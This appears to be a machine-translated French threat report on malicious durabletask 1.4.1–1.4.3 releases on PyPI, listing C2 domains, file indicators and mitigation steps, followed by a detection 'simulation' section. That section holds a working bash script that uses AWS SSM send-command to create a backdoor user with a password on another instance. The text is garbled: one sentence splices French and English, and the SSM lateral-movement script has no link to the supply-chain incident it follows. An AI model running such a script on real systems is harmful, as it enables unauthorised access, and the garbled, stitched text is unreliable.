durabletask : La dernière compromission de la chaîne d’approvisionnement PyPI par TeamPCP

Résumé

Une attaque de la chaîne d’approvisionnement a visé le Microsoft durabletask package Python sur PyPI, entraînant la publication de versions malveillantes 1.4.1, 1.4.2, et 1.4.3. L’attaquant aurait exploité un compte GitHub compromis pour obtenir un jeton PyPI et télécharger des fichiers wheel armés. La charge utile malveillante a été livrée via rope.pyz archives conçues pour voler des identifiants cloud et se propager vers des systèmes supplémentaires. Les efforts de détection devraient se concentrer sur les fichiers temporaires spécifiques, les activités de processus suspectes et le trafic vers les domaines de commande et de contrôle identifiés.

Enquête

Wiz a lié le compte GitHub compromis à la campagne précédente @antv . Leur analyse a révélé que l’attaquant a réutilisé les messages de commit et accédé à des secrets GitHub divulgués contenant le jeton de publication PyPI. Les fichiers wheel malveillants incluaient un component transformers.pyz qui déposait rope.pyz des charges utiles dans /tmp et initiait une communication de commandement et de contrôle avec check.git-service.com and t.m-kosche.com.

Atténuation

Les organisations devraient tourner tous les identifiants cloud ou gestionnaire de mots de passe potentiellement exposés, bloquer les domaines et URL de commande et de contrôle identifiés, et rechercher des indicateurs d’infection tels que ~/.cache/.sys-update-check and ~/.cache/.sys-update-check-k8s. Tout fichier managed.pyz or rope-*.pyz temporaire devrait être supprimé et les processus Python associés devraient être arrêtés. Les workflows d’actions GitHub et de publication PyPI devraient également être renforcés pour réduire le risque de compromission similaire.

Réponse

Les équipes de sécurité devraient identifier toute utilisation des durabletask versions 1.4.1 jusqu’à 1.4.3, rechercher /tmp/managed.pyz and /tmp/rope-*.pyz, et surveiller les processus python3 exécutant ces fichiers. Le trafic DNS et HTTP sortant vers processes executing those files. Outbound DNS and HTTP traffic to check.git-service.com and t.m-kosche.com devrait être bloqué, tandis que les journaux d’audit CloudTrail et Kubernetes devraient être vérifiés pour les activités suspectes de SSM ou kubectl exec . Les identifiants affectés devraient être immédiatement renouvelés, et les journaux des gestionnaires de mots de passe doivent être vérifiés pour détecter des signes de force brute ou d’accès non autorisé.

Exécution de Simulation

Pré-requis : Le Contrôle de Pré-Vol de Télémétrie et de Référence doit être passé.

Raisonnement : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour activer la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.

• Narrative d’Attaque & Commandes :
  Un adversaire a obtenu des informations d’identification sur une instance EC2 compromise (Instance A). En utilisant ces identifiants, l’attaquant utilise AWS Systems Manager pour infiltrer une deuxième instance (Instance B) sans ouvrir aucun port réseau. Les étapes sont :

  1. Énumérer les instances accessibles via SSM:DescribeInstanceInformation pour localiser les cibles.
  2. Envoyer une commande malveillante jusqu’à SSM:SendCommand (par exemple, créer un nouvel utilisateur privilégié) sur l’instance cible.
  3. Valider l’exécution en récupérant la sortie de la commande.

  L’attaquant utilise l’AWS CLI, ce qui génère directement des événements CloudTrail pour les deux appels API, satisfaisant les conditions de la règle.

• Script de Test de Régression : Le script ci-dessous reproduit l’attaque dans un laboratoire contrôlé. Il s’attend à ce que l’AWS CLI soit configuré avec des informations d’identification qui ont ssm:SendCommand and ssm:DescribeInstanceInformation ssm:SendCommand

  #!/usr/bin/env bash
  set -euo pipefail
  
  # -------------------------------------------------
  # Variables – adaptez à votre environnement de laboratoire
  # -------------------------------------------------
  REGION="us-east-1"
  COMPROMISED_INSTANCE="i-0abcdef1234567890"   # Instance A (point d'appui de l'attaquant)
  TARGET_INSTANCE="i-0fedcba9876543210"       # Instance B (cible latérale)
  
  # 1️⃣ Énumérer les instances gérées par SSM (déclenche DescribeInstanceInformation)
  echo "[*] Énumération des instances gérées par SSM..."
  aws ssm describe-instance-information 
      --region "$REGION" 
      --output json > /tmp/ssm_instances.json
  
  # 2️⃣ Envoyer une charge utile malveillante à $TARGET_INSTANCE ..."
  MALICIOUS_CMD="useradd -m eviluser && echo 'evilpass' | passwd --stdin eviluser"
  aws ssm send-command 
      --instance-ids "$TARGET_INSTANCE" 
      --document-name "AWS-RunShellScript" 
      --comment "Conserver l'utilisateur malveillant" 
      --parameters commands=["$MALICIOUS_CMD"] 
      --region "$REGION" 
      --output json > /tmp/ssm_sendcommand.json
  
  # 3️⃣ Récupérer l'ID de la commande et attendre l'exécution (facultatif)
  CMD_ID=$(jq -r '.Command.CommandId' /tmp/ssm_sendcommand.json)
  echo "[*] ID de Commande: $CMD_ID – attente de l'exécution..."
  aws ssm list-command-invocations 
      --command-id "$CMD_ID" 
      --details 
      --region "$REGION" 
      --output json
  
  echo "[+] Simulation complète. CloudTrail devrait maintenant contenir à la fois des événements SSM:DescribeInstanceInformation et SSM:SendCommand."

• Commandes de Nettoyage : Supprimez l’utilisateur malveillant et supprimez tout historique de commande résiduel.

  #!/usr/bin/env bash
  set -euo pipefail
  
  REGION="us-east-1"
  TARGET_INSTANCE="i-0fedcba9876543210"
  
  echo "[*] Nettoyage des artefacts malveillants sur $TARGET_INSTANCE ..."
  CLEANUP_CMD="userdel -r eviluser || true"
  aws ssm send-command 
      --instance-ids "$TARGET_INSTANCE" 
      --document-name "AWS-RunShellScript" 
      --comment "Nettoyage après le test" 
      --parameters commands=["$CLEANUP_CMD"] 
      --region "$REGION"